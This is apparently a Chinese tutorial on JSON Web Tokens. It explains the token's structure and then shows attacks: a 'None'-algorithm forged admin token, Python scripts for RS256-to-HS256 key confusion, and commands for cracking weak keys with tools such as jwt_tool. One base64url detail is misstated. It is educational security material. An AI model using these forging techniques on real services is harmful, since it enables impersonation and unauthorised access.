JWT

JWT的全称是Json Web Token。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。

JWT由三个部分组成:header.payload.signature

header部分最常用的两个字段是algtypalg指定了token加密使用的算法(最常用的为HMACRSA算法),typ声明类型为JWT。

payload则为用户数据以及一些元数据有关的声明,用以声明权限。

signature的功能是保护token完整性。

生成方法为将header和payload两个部分联结起来,然后通过header部分指定的算法,计算出签名。

抽象成公式就是

signature = HMAC-SHA256(base64urlEncode(header) + '.' + base64urlEncode(payload), secret_key)

值得注意的是,编码header和payload时使用的编码方式为base64urlencodebase64url编码是base64的修改版,为了方便在网络中传输使用了不同的编码表,它不会在末尾填充”=”号,并将标准Base64中的”+”和”/“分别改成了”-“和”-“。


完整token生成

在线

https://jwt.io/

Python

python的Pyjwt使用示例:

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import jwt

encoded_jwt = jwt.encode({'user_name': 'admin'}, 'key', algorithm='HS256')
print(encoded_jwt)
print(jwt.decode(encoded_jwt, 'key', algorithms=['HS256']))

攻击方式

空加密算法

JWT支持使用空加密算法,可以在header中指定alg为None

这样的话,只要把signature设置为空(即不添加signature字段),提交到服务器,任何token都可以通过服务器的验证。举个例子,使用以下的字段

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{
"alg" : "None",
"typ" : "jwt"
}

{
"user" : "Admin"
}

生成的完整token为ew0KCSJhbGciIDogIk5vbmUiLA0KCSJ0eXAiIDogImp3dCINCn0.ew0KCSJ1c2VyIiA6ICJBZG1pbiINCn0

(header+’.’+payload,去掉了’.’+signature字段)

空加密算法的设计初衷是用于调试的,但是如果某天开发人员脑阔瓦特了,在生产环境中开启了空加密算法,缺少签名算法,jwt保证信息不被篡改的功能就失效了。攻击者只需要把alg字段设置为None,就可以在payload中构造身份信息,伪造用户身份。

修改RSA加密算法为HMAC

JWT中最常用的两种算法为HMACRSA

HMAC是密钥相关的哈希运算消息认证码(Hash-based Message Authentication Code)的缩写,它是一种对称加密算法,使用相同的密钥对传输信息进行加解密。

RSA则是一种非对称加密算法,使用私钥加密明文,公钥解密密文。

在HMAC和RSA算法中,都是使用私钥对signature字段进行签名,只有拿到了加密时使用的私钥,才有可能伪造token。

现在我们假设有这样一种情况,一个Web应用,在JWT传输过程中使用RSA算法,密钥pem对JWT token进行签名,公钥pub对签名进行验证。

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{
"alg" : "RS256",
"typ" : "jwt"
}

通常情况下密钥pem是无法获取到的,但是公钥pub却可以很容易通过某些途径读取到,这时,将JWT的加密算法修改为HMAC,即

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{
"alg" : "HS256",
"typ" : "jwt"
}

同时使用获取到的公钥pub作为算法的密钥,对token进行签名,发送到服务器端。

服务器端会将RSA的公钥(pub)视为当前算法(HMAC)的密钥,使用HS256算法对接收到的签名进行验证。

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#python2
import jwt
public = open('public.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='HS256'))
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import jwt
header = {"typ":"JWT","alg":"HS256"}
payload = {"username":"admin","grade":"admin"}
secret = open('public.pem','r').read()
jwt_ = jwt.encode(headers=header,payload=payload,key=secret,algorithm='HS256')
print(jwt_)

爆破密钥

对 JWT 的密钥爆破需要在一定的前提下进行:

  • 知悉JWT使用的加密算法
  • 一段有效的、已签名的token
  • 签名用的密钥不复杂(弱密钥)

所以其实JWT 密钥爆破的局限性很大。

相关工具:

c-jwt-cracker

./jwtcrack [JWT]

jwt_tool

python3 jwt_tool.py [JWT]

gojwtcrack

./gojwtcrack -t token.txt -d rockyou.txt

CrackJWTKey

python3 CrackJWT.py jwt_str keys.txt

其他

参考:

攻击JWT的一些方法

Jwt认识与攻击